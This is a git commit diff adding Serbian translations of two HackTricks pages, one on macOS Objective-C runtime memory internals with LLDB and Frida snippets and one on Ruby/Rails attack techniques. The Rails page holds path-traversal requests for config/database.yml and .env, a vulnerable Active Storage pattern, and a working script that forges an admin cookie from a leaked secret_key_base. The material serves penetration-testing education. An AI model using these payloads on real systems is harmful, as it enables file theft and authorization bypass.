Translated ['src/network-services-pentesting/pentesting-web/ruby-tricks.

This commit is contained in:
Translator 2025-08-26 15:03:50 +00:00
parent 39dc59c9c1
commit 58f8bd96a3
2 changed files with 253 additions and 46 deletions

View File

@ -4,9 +4,9 @@
## CFRuntimeClass
CF\* objekti dolaze iz CoreFoundation, koji pruža više od 50 klasa objekata kao što su `CFString`, `CFNumber` ili `CFAllocator`.
CF* objekti potiču iz CoreFoundation, koja obezbeđuje više od 50 klasa objekata poput `CFString`, `CFNumber` ili `CFAllocator`.
Sve ove klase su instance klase `CFRuntimeClass`, koja kada se pozove vraća indeks u `__CFRuntimeClassTable`. CFRuntimeClass je definisan u [**CFRuntime.h**](https://opensource.apple.com/source/CF/CF-1153.18/CFRuntime.h.auto.html):
Sve ove klase su instance klase `CFRuntimeClass`, koja kada se pozove vraća indeks u `__CFRuntimeClassTable`. CFRuntimeClass je definisana u [**CFRuntime.h**](https://opensource.apple.com/source/CF/CF-1153.18/CFRuntime.h.auto.html):
```objectivec
// Some comments were added to the original code
@ -55,68 +55,79 @@ uintptr_t requiredAlignment; // Or in _kCFRuntimeRequiresAlignment in the .versi
```
## Objective-C
### Sekcije memorije koje se koriste
### Memorijske sekcije koje se koriste
Većina podataka koje koristi ObjectiveC runtime će se menjati tokom izvršavanja, stoga koristi neke sekcije iz **\_\_DATA** segmenta u memoriji:
Većina podataka koje koristi ObjectiveC runtime menjaće se tokom izvršavanja, zato koristi niz sekcija iz MachO `__DATA` familije segmenata u memoriji. Istorijski su to uključivale:
- **`__objc_msgrefs`** (`message_ref_t`): Reference poruka
- **`__objc_ivar`** (`ivar`): Instancne promenljive
- **`__objc_data`** (`...`): Promenljivi podaci
- **`__objc_classrefs`** (`Class`): Reference klasa
- **`__objc_superrefs`** (`Class`): Reference superklasa
- **`__objc_protorefs`** (`protocol_t *`): Reference protokola
- **`__objc_selrefs`** (`SEL`): Reference selektora
- **`__objc_const`** (`...`): Klasa `r/o` podaci i drugi (nadamo se) konstantni podaci
- **`__objc_imageinfo`** (`version, flags`): Koristi se tokom učitavanja slike: Verzija trenutno `0`; Zastavice specificiraju unapred optimizovanu GC podršku, itd.
- **`__objc_protolist`** (`protocol_t *`): Lista protokola
- **`__objc_nlcatlist`** (`category_t`): Pokazivač na Non-Lazy Kategorije definisane u ovom binarnom fajlu
- **`__objc_catlist`** (`category_t`): Pokazivač na Kategorije definisane u ovom binarnom fajlu
- **`__objc_nlclslist`** (`classref_t`): Pokazivač na Non-Lazy Objective-C klase definisane u ovom binarnom fajlu
- **`__objc_classlist`** (`classref_t`): Pokazivači na sve Objective-C klase definisane u ovom binarnom fajlu
- `__objc_msgrefs` (`message_ref_t`): referencije poruka
- `__objc_ivar` (`ivar`): instancijalne promenljive
- `__objc_data` (`...`): promenljivi podaci
- `__objc_classrefs` (`Class`): referencije klasa
- `__objc_superrefs` (`Class`): referencije nadklasa
- `__objc_protorefs` (`protocol_t *`): referencije protokola
- `__objc_selrefs` (`SEL`): referencije selektora
- `__objc_const` (`...`): r/o podaci klase i drugi (nadamo se) konstantni podaci
- `__objc_imageinfo` (`version, flags`): koristi se tokom učitavanja imagea: Version trenutno `0`; Flags specificiraju podršku za preoptimized GC, itd.
- `__objc_protolist` (`protocol_t *`): lista protokola
- `__objc_nlcatlist` (`category_t`): pokazivač na Non-Lazy Categories definisane u ovom binarnom fajlu
- `__objc_catlist` (`category_t`): pokazivač na Categories definisane u ovom binarnom fajlu
- `__objc_nlclslist` (`classref_t`): pokazivač na Non-Lazy ObjectiveC klase definisane u ovom binarnom fajlu
- `__objc_classlist` (`classref_t`): pokazivači na sve ObjectiveC klase definisane u ovom binarnom fajlu
Takođe koristi nekoliko sekcija u **`__TEXT`** segmentu za čuvanje konstantnih vrednosti ako nije moguće pisati u ovoj sekciji:
Takođe koristi nekoliko sekcija u `__TEXT` segmentu za skladištenje konstanti:
- **`__objc_methname`** (C-String): Imena metoda
- **`__objc_classname`** (C-String): Imena klasa
- **`__objc_methtype`** (C-String): Tipovi metoda
- `__objc_methname` (CString): imena metoda
- `__objc_classname` (CString): imena klasa
- `__objc_methtype` (CString): tipovi metoda
Moderni macOS/iOS (posebno na Apple Silicon) takođe smeštaju ObjectiveC/Swift metapodatke u:
- `__DATA_CONST`: nepromenljivi ObjectiveC metapodaci koji se mogu deliti readonly između procesa (na primer, mnoge `__objc_*` liste sada žive ovde).
- `__AUTH` / `__AUTH_CONST`: segmenti koji sadrže pokazivače koji moraju biti autentifikovani pri učitavanju ili u vreme upotrebe na arm64e (Pointer Authentication). Takođe ćete videti `__auth_got` u `__AUTH_CONST` umesto legacy `__la_symbol_ptr`/`__got` samo. Kada instrumentujete ili hookujete, imajte na umu da uzmete u obzir i `__got` i `__auth_got` unose u modernim binarnima.
Za pozadinu o dyld preoptimizaciji (npr. selector uniquing i prekomputacija klasa/protokola) i zašto su mnoge od ovih sekcija "već fikseovane" kada dolaze iz shared cachea, pogledajte Apple `objc-opt` izvore i napomene o dyld shared cacheu. Ovo utiče na mesto i način na koji možete patchovati metapodatke u runtimeu.
{{#ref}}
../macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md
{{#endref}}
### Kodiranje tipova
Objective-C koristi određeno mangle-ovanje za kodiranje selektora i tipova promenljivih jednostavnih i složenih tipova:
ObjectiveC koristi mangling da enkodira tipove selektora i promenljivih jednostavnih i složenih tipova:
- Primitivni tipovi koriste prvo slovo tipa `i` za `int`, `c` za `char`, `l` za `long`... i koristi veliko slovo u slučaju da je bez znakova (`L` za `unsigned Long`).
- Drugi tipovi podataka čija su slova korišćena ili su posebna, koriste druga slova ili simbole kao što su `q` za `long long`, `b` za `bitfields`, `B` za `booleans`, `#` za `classes`, `@` za `id`, `*` za `char pointers`, `^` za generičke `pointers` i `?` za `undefined`.
- Nizovi, strukture i unije koriste `[`, `{` i `(`
- Primitive types koriste prvo slovo tipa `i` za `int`, `c` za `char`, `l` za `long`... i koriste veliko slovo u slučaju da su unsigned (`L` za `unsigned long`).
- Drugi tipovi podataka koriste druga slova ili simbole kao što su `q` za `long long`, `b` za bitfields, `B` za booleans, `#` za klase, `@` za `id`, `*` za `char *`, `^` za generičke pokazivače i `?` za nedefinisano.
- Nizovi, strukture i unije koriste `[` , `{` i `(` respektivno.
#### Primer Deklaracije Metode
#### Primer deklaracije metode
```objectivec
- (NSString *)processString:(id)input withOptions:(char *)options andError:(id)error;
```
Selektor bi bio `processString:withOptions:andError:`
#### Kodiranje tipa
#### Kodiranje tipova
- `id` se kodira kao `@`
- `char *` se kodira kao `*`
- `id` je kodirano kao `@`
- `char *` je kodirano kao `*`
Puno kodiranje tipa za metodu je:
Kompletno kodiranje tipova za metodu je:
```less
@24@0:8@16*20^@24
```
#### Detaljna analiza
1. **Povratni tip (`NSString *`)**: Kodiran kao `@` sa dužinom 24
2. **`self` (instanca objekta)**: Kodiran kao `@`, na offsetu 0
3. **`_cmd` (selektor)**: Kodiran kao `:`, na offsetu 8
4. **Prvi argument (`char * input`)**: Kodiran kao `*`, na offsetu 16
5. **Drugi argument (`NSDictionary * options`)**: Kodiran kao `@`, na offsetu 20
6. **Treći argument (`NSError ** error`)**: Kodiran kao `^@`, na offsetu 24
1. Return Type (`NSString *`): Encoded as `@` with length 24
2. `self` (instanca objekta): Kodirano kao `@`, na offsetu 0
3. `_cmd` (selektor): Kodirano kao `:`, na offsetu 8
4. Prvi argument (`char * input`): Kodirano kao `*`, na offsetu 16
5. Drugi argument (`NSDictionary * options`): Kodirano kao `@`, na offsetu 20
6. Treći argument (`NSError ** error`): Kodirano kao `^@`, na offsetu 24
**Sa selektorom + kodiranjem možete rekonstruisati metodu.**
Sa selektorom + enkodiranjem možete rekonstruisati metodu.
### **Klase**
### Klase
Klase u Objective-C su strukture sa svojstvima, pokazivačima na metode... Moguće je pronaći strukturu `objc_class` u [**izvornom kodu**](https://opensource.apple.com/source/objc4/objc4-756.2/runtime/objc-runtime-new.h.auto.html):
Klase u ObjectiveC su C strukture sa svojstvima, pokazivačima na metode, itd. Moguće je pronaći strukturu `objc_class` u [**source code**](https://opensource.apple.com/source/objc4/objc4-756.2/runtime/objc-runtime-new.h.auto.html):
```objectivec
struct objc_class : objc_object {
// Class ISA;
@ -137,9 +148,114 @@ data()->setFlags(set);
}
[...]
```
Ova klasa koristi neke bitove polja isa da bi ukazala na određene informacije o klasi.
Ova klasa koristi neke bitove polja `isa` da označi informacije o klasi.
Zatim, struktura ima pokazivač na strukturu `class_ro_t` koja je smeštena na disku i sadrži atribute klase kao što su njeno ime, osnovne metode, svojstva i promenljive instance.\
Tokom izvršavanja, dodatna struktura `class_rw_t` se koristi i sadrži pokazivače koji se mogu menjati kao što su metode, protokoli, svojstva...
Zatim, struct ima pokazivač na struct `class_ro_t` pohranjen na disku koji sadrži atribute klase kao što su njeno ime, osnovne metode, properties i instance variables. Tokom runtimea koristi se dodatna struktura `class_rw_t` koja sadrži pokazivače koji se mogu menjati, kao što su methods, protocols, properties.
{{#ref}}
../macos-basic-objective-c.md
{{#endref}}
---
## Modern object representations in memory (arm64e, tagged pointers, Swift)
### Nonpointer `isa` and Pointer Authentication (arm64e)
Na Apple Silicon i novijim runtimeima ObjectiveC `isa` nije uvek običan pokazivač na klasu. Na arm64e to je upakovana struktura koja može nositi i Pointer Authentication Code (PAC). U zavisnosti od platforme može uključivati polja poput `nonpointer`, `has_assoc`, `weakly_referenced`, `extra_rc`, i sam pokazivač na klasu (shifted ili signed). To znači da slepo dereferenciranje prvih 8 bajtova ObjectiveC objekta neće uvek dati važeći `Class` pokazivač.
Praktične napomene pri debugovanju na arm64e:
- LLDB će obično ukloniti PAC bitove za vas kada štampa ObjectiveC objekte pomoću `po`, ali kada radite sa raw pokazivačima možda ćete morati ručno da uklonite autentikaciju:
```lldb
(lldb) expr -l objc++ -- #include <ptrauth.h>
(lldb) expr -l objc++ -- void *raw = ptrauth_strip((void*)0x000000016f123abc, ptrauth_key_asda);
(lldb) expr -l objc++ -O -- (Class)object_getClass((id)raw)
```
- Mnogi pokazivači na funkcije/podatke u MachO biće smešteni u `__AUTH`/`__AUTH_CONST` i zahtevaju autentikaciju pre upotrebe. Ako interponujete ili rebindingujete (npr. fishhookstyle), obavezno obradite i `__auth_got` pored legacy `__got`.
Za dubinsko razumevanje garantija jezika/ABI i `<ptrauth.h>` intrinsičnih funkcija dostupnih iz Clang/LLVM, pogledajte referencu na kraju ove stranice.
### Tagged pointer objects
Neke Foundation klase izbegavaju alokaciju na heapu enkodiranjem payloada objekta direktno u vrednost pokazivača (tagged pointers). Detekcija se razlikuje po platformi (npr. mostsignificant bit na arm64, leastsignificant na x86_64 macOS). Tagged objekti nemaju regularan `isa` pohranjen u memoriji; runtime rešava klasu iz tag bitova. Pri inspekciji proizvoljnih `id` vrednosti:
- Koristite runtime APIje umesto da „pokeujete“ polje `isa`: `object_getClass(obj)` / `[obj class]`.
- U LLDBu, samo `po (id)0xADDR` će ispravno odštampati tagged pointer instance jer se runtime konsultuje da reši klasu.
### Swift heap objects and metadata
Čiste Swift klase su takođe objekti sa headerom koji pokazuje na Swift metadata (ne ObjectiveC `isa`). Da biste introspektovali žive Swift procese bez njihovog menjanja možete koristiti Swift toolchainov `swift-inspect`, koji koristi Remote Mirror biblioteku za čitanje runtime metadata:
```bash
# Xcode toolchain (or Swift.org toolchain) provides swift-inspect
swift-inspect dump-raw-metadata <pid-or-name>
swift-inspect dump-arrays <pid-or-name>
# On Darwin additionally:
swift-inspect dump-concurrency <pid-or-name>
```
Ovo je veoma korisno za mapiranje Swift heap objekata i usklađenosti sa protokolima pri reverziranju mešanih Swift/ObjC aplikacija.
---
## Kratka referenca za inspekciju runtime-a (LLDB / Frida)
### LLDB
- Ispiši objekat ili klasu iz sirovog pokazivača:
```lldb
(lldb) expr -l objc++ -O -- (id)0x0000000101234560
(lldb) expr -l objc++ -O -- (Class)object_getClass((id)0x0000000101234560)
```
- Pregledajte ObjectiveC klasu iz pokazivača na `self` u metodi objekta u breakpointu:
```lldb
(lldb) br se -n '-[NSFileManager fileExistsAtPath:]'
(lldb) r
... breakpoint hit ...
(lldb) po (id)$x0 # self
(lldb) expr -l objc++ -O -- (Class)object_getClass((id)$x0)
```
- Dump sekcije koje sadrže ObjectiveC metapodatke (napomena: mnoge se sada nalaze u `__DATA_CONST` / `__AUTH_CONST`):
```lldb
(lldb) image dump section --section __DATA_CONST.__objc_classlist
(lldb) image dump section --section __DATA_CONST.__objc_selrefs
(lldb) image dump section --section __AUTH_CONST.__auth_got
```
- Pročitaj memoriju poznatog objekta klase da bi pivot to `class_ro_t` / `class_rw_t` pri reverziranju listi metoda:
```lldb
(lldb) image lookup -r -n _OBJC_CLASS_$_NSFileManager
(lldb) memory read -fx -s8 0xADDRESS_OF_CLASS_OBJECT
```
### Frida (ObjectiveC and Swift)
Frida pruža visokonivozne runtime mostove koji su vrlo praktični za otkrivanje i instrumentovanje aktivnih objekata bez simbola:
- Nabrajanje klasa i metoda, rešavanje stvarnih imena klasa u runtime-u, i presretanje ObjectiveC selektora:
```js
if (ObjC.available) {
// List a class' methods
console.log(ObjC.classes.NSFileManager.$ownMethods);
// Intercept and inspect arguments/return values
const impl = ObjC.classes.NSFileManager['- fileExistsAtPath:isDirectory:'].implementation;
Interceptor.attach(impl, {
onEnter(args) {
this.path = new ObjC.Object(args[2]).toString();
},
onLeave(retval) {
console.log('fileExistsAtPath:', this.path, '=>', retval);
}
});
}
```
- Swift bridge: enumeriše Swift types i omogućava interakciju sa Swift instances (zahteva noviju Frida; veoma korisno na Apple Silicon targets).
---
## Reference
- Clang/LLVM: Pointer Authentication and the `<ptrauth.h>` intrinsics (arm64e ABI). https://clang.llvm.org/docs/PointerAuthentication.html
- Apple objc runtime headers (tagged pointers, nonpointer `isa`, etc.) e.g., `objc-object.h`. https://opensource.apple.com/source/objc4/objc4-818.2/runtime/objc-object.h.auto.html
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,9 +1,100 @@
# Ruby Tricks
# Ruby trikovi
{{#include ../../banners/hacktricks-training.md}}
## Učitavanje fajlova za RCE
## Otpremanje fajla do RCE
Kao što je objašnjeno u [ovom članku](https://www.offsec.com/blog/cve-2024-46986/), učitavanje `.rb` fajla u osetljive direktorijume kao što su `config/initializers/` može dovesti do daljinskog izvršavanja koda (RCE) u Ruby on Rails aplikacijama.
Kao što je objašnjeno u [this article](https://www.offsec.com/blog/cve-2024-46986/), otpremanje `.rb` fajla u osetljive direktorijume kao što su `config/initializers/` može dovesti do remote code execution (RCE) u Ruby on Rails aplikacijama.
Saveti:
- Druge lokacije koje se izvršavaju pri startovanju aplikacije (boot/eager-load) su takođe rizične ako su zapisive (npr. `config/initializers/` je klasičan primer). Ako nađete arbitrarno otpremanje fajla koje se smešta bilo gde pod `config/` i kasnije evaluated/required, možete dobiti RCE pri boot-u.
- Tražite dev/staging build-ove koji kopiraju fajlove pod kontrolom korisnika u container image gde će Rails učitati te fajlove pri startu.
## Active Storage image transformation → command execution (CVE-2025-24293)
Kada aplikacija koristi Active Storage sa `image_processing` + `mini_magick`, i prosleđuje nepoverljive parametre metodama za transformaciju slika, Rails verzije pre 7.1.5.2 / 7.2.2.2 / 8.0.2.1 mogu dozvoliti command injection zato što su neke transformacije greškom dozvoljene po defaultu.
- Rizičan obrazac izgleda ovako:
```erb
<%= image_tag blob.variant(params[:t] => params[:v]) %>
```
gde su `params[:t]` i/ili `params[:v]` pod kontrolom napadača.
- Šta probati tokom testiranja
- Identifikujte endpoint-e koji prihvataju variant/processing opcije, imena transformacija ili proizvoljne ImageMagick argumente.
- Fuzz-ujte `params[:t]` i `params[:v]` tražeći sumnjive greške ili neželjene efekte izvršavanja. Ako možete uticati na ime metode ili proslediti raw argumente koji dopiru do MiniMagick, možete ostvariti code exec na hostu koji procesuira slike.
- Ako imate samo read-access do generisanih varijanti, pokušajte blind exfiltration preko crafted ImageMagick operacija.
- Remedijacija/detekcije
- Ako vidite Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1 sa Active Storage + `image_processing` + `mini_magick` i user-controlled transformacijama, smatrati to eksploatabilnim. Preporučuje se nadogradnja i nametanje striktnih allowlists za metode/parametre i hardened ImageMagick policy.
## Rack::Static LFI / path traversal (CVE-2025-27610)
Ako target stack koristi Rack middleware direktno ili preko framework-a, verzije `rack` pre 2.2.13, 3.0.14 i 3.1.12 dozvoljavaju Local File Inclusion preko `Rack::Static` kada `:root` nije podešen/je pogrešno konfiguran. Encodovani traversal u `PATH_INFO` može otkriti fajlove pod radnim direktorijumom procesa ili neočekivanim root-om.
- Tražite aplikacije koje mount-uju `Rack::Static` u `config.ru` ili middleware stack-ovima. Probajte encodovane traversale prema statičkim putanjama, na primer:
```text
GET /assets/%2e%2e/%2e%2e/config/database.yml
GET /favicon.ico/..%2f..%2f.env
```
Podesite prefix da odgovara konfigurisanom `urls:`. Ako aplikacija odgovori sa sadržajem fajla, verovatno imate LFI ka svemu ispod razrešenog `:root`.
- Mitigacija: nadogradite Rack; osigurajte da `:root` pokazuje samo na direktorijum sa javnim fajlovima i eksplicitno je podešen.
## Forging/decrypting Rails cookies when `secret_key_base` is leaked
Rails enkriptuje i potpisuje cookies koristeći ključeve izvedene iz `secret_key_base`. If that value leaks (npr. u repozitorijumu, logovima ili pogrešno konfigurisanim credentials), obično možete dekriptovati, izmeniti i ponovo enkriptovati cookies. Ovo često vodi do authz bypass ako aplikacija skladišti uloge, user IDs, ili feature flags u kolačićima.
Minimal Ruby za dekriptovanje i ponovno enkriptovanje modernih cookies (AES-256-GCM, default u recentnim Rails):
```ruby
require 'cgi'
require 'json'
require 'active_support'
require 'active_support/message_encryptor'
require 'active_support/key_generator'
secret_key_base = ENV.fetch('SECRET_KEY_BASE_LEAKED')
raw_cookie = CGI.unescape(ARGV[0])
salt = 'authenticated encrypted cookie'
cipher = 'aes-256-gcm'
key_len = ActiveSupport::MessageEncryptor.key_len(cipher)
secret = ActiveSupport::KeyGenerator.new(secret_key_base, iterations: 1000).generate_key(salt, key_len)
enc = ActiveSupport::MessageEncryptor.new(secret, cipher: cipher, serializer: JSON)
plain = enc.decrypt_and_verify(raw_cookie)
puts "Decrypted: #{plain.inspect}"
# Modify and re-encrypt (example: escalate role)
plain['role'] = 'admin' if plain.is_a?(Hash)
forged = enc.encrypt_and_sign(plain)
puts "Forged cookie: #{CGI.escape(forged)}"
```
Napomene:
- Starije aplikacije mogu koristiti AES-256-CBC i saltove `encrypted cookie` / `signed encrypted cookie`, ili JSON/Marshal serializere. Po potrebi prilagodite saltove, cipher i serializer.
- U slučaju kompromitacije ili procene, rotirajte `secret_key_base` kako biste invalidirali sve postojeće cookies.
## Pogledajte i (Ruby/Rails-specifične ranjivosti)
- Ruby deserialization and class pollution:
{{#ref}}
../../pentesting-web/deserialization/README.md
{{#endref}}
{{#ref}}
../../pentesting-web/deserialization/ruby-class-pollution.md
{{#endref}}
{{#ref}}
../../pentesting-web/deserialization/ruby-_json-pollution.md
{{#endref}}
- Template injection in Ruby engines (ERB/Haml/Slim, etc.):
{{#ref}}
../../pentesting-web/ssti-server-side-template-injection/README.md
{{#endref}}
## Reference
- Rails bezbednosno saopštenje: CVE-2025-24293 Active Storage unsafe transformation methods (fixed in 7.1.5.2 / 7.2.2.2 / 8.0.2.1). https://discuss.rubyonrails.org/t/cve-2025-24293-active-storage-allowed-transformation-methods-potentially-unsafe/89670
- GitHub bezbednosno obaveštenje: Rack::Static Local File Inclusion (CVE-2025-27610). https://github.com/advisories/GHSA-7wqh-767x-r66v
{{#include ../../banners/hacktricks-training.md}}